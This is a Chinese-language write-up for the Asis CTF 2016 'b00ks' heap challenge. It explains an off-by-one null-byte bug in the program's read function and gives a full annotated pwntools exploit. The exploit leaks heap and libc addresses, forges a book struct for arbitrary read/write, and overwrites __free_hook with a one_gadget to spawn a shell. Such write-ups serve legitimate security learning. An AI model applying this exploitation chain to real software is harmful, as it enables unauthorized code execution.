Asis CTF 2016 b00ks

题目介绍

题目是一个常见的选单式程序,功能是一个图书管理系统。

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit

程序提供了创建、删除、编辑、打印图书的功能。题目是 64 位程序,保护如下所示。

Canary                        : No
NX                            : Yes
PIE                           : Yes
Fortify                       : No
RelRO                         : Full

结构体

struct book
{
    int id;
    char *name;
    char *description;
    int size;
}

漏洞

signed __int64 __fastcall my_read(_BYTE *ptr, int number)
{
  int i; // [rsp+14h] [rbp-Ch]
  _BYTE *buf; // [rsp+18h] [rbp-8h]

  if ( number <= 0 )
    return 0LL;
  buf = ptr;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, buf, 1uLL) != 1 )
      return 1LL;
    if ( *buf == '\n' )
      break;
    ++buf;
    if ( i == number )
      break;
  }
  *buf = 0;
  return 0LL;
}

详细注释

from pwn import *
context.log_level="info"

binary = ELF("b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")  #Ubuntu 18.04 libc2.27
io = process("./b00ks")


def createbook(name_size, name, des_size, des):
    io.readuntil("> ")
    io.sendline("1")
    io.readuntil(": ")
    io.sendline(str(name_size))
    io.readuntil(": ")
    io.sendline(name)
    io.readuntil(": ")
    io.sendline(str(des_size))
    io.readuntil(": ")
    io.sendline(des)

def printbook(id):
    io.readuntil("> ")
    io.sendline("4")
    io.readuntil(": ")
    for i in range(id):
        book_id = int(io.readline()[:-1])
        io.readuntil(": ")
        book_name = io.readline()[:-1]
        io.readuntil(": ")
        book_des = io.readline()[:-1]
        io.readuntil(": ")
        book_author = io.readline()[:-1]
    return book_id, book_name, book_des, book_author

def createname(name):
    io.readuntil("name: ")
    io.sendline(name)

def changename(name):
    io.readuntil("> ")
    io.sendline("5")
    io.readuntil(": ")
    io.sendline(name)

def editbook(book_id, new_des):
    io.readuntil("> ")
    io.sendline("3")
    io.readuntil(": ")
    io.writeline(str(book_id))
    io.readuntil(": ")
    io.sendline(new_des)

def deletebook(book_id):
    io.readuntil("> ")
    io.sendline("2")
    io.readuntil(": ")
    io.sendline(str(book_id))

createname("A" * 32)
createbook(128, "a", 32, "a")  #为了对齐describe指针,就是前面book1结构体指针最低位被覆盖/x00后恰好和describe重合,这样不用补全偏移比较方便,另:不同环境情况不同,此法又漏洞,gdb调试即可发现,不细说了,解决方法暂补
createbook(0x21000, "a", 0x21000, "b")#第二本书申请大内存,thread_arena会调用mmap申请内存,而这段内存相对于libc基址的偏移固定


book_id_1, book_name, book_des, book_author = printbook(1)#打印book1信息,offbyone可以让结束符放到指针位置,而指针填充的时候结束符就消失了~~,打印作者可以泄露地址
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)#伪造假的book1,因为book1的指针可以控制为他的describe指针所指的位置,因此我们修改describe的内容相当于修改book1的内容,通过题目给定的函数操作可以达到任意地址读写
editbook(book_id_1, payload)
changename("A" * 32)#将book1结构体指针指向他的describe,现在describe的内容就是fake_book1

book_id_1, book_name, book_des, book_author = printbook(1)#打印book1的内容,即可打印固定地址的值,这里打印book1_addr + 0x40处的值,其实就是book2的describe的地址
book2_name_addr = u64(book_name.ljust(8,"\x00"))
book2_des_addr = u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))
libc_base = book2_des_addr - 0x5b9010#固定的地址偏移
log.success("libc base:" + hex(libc_base))

free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base + 0x4f322 # 0x4f2c5 0x10a38c 0x4f322,one_gadget可以通过工具寻找 pip install one_gadget
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))
editbook(1, p64(free_hook))#将book1(其实是book2的describe的地址)的describe修改为free_hook的地址
editbook(2, p64(one_gadget))#这时候修改book2的describe就是修改free_hook的值

deletebook(2)#删除book2就会触发free,通过检查free_hook不是NULL,从而执行其指向的代码

io.interactive()

你可能感兴趣的:(Asis CTF 2016 b00ks)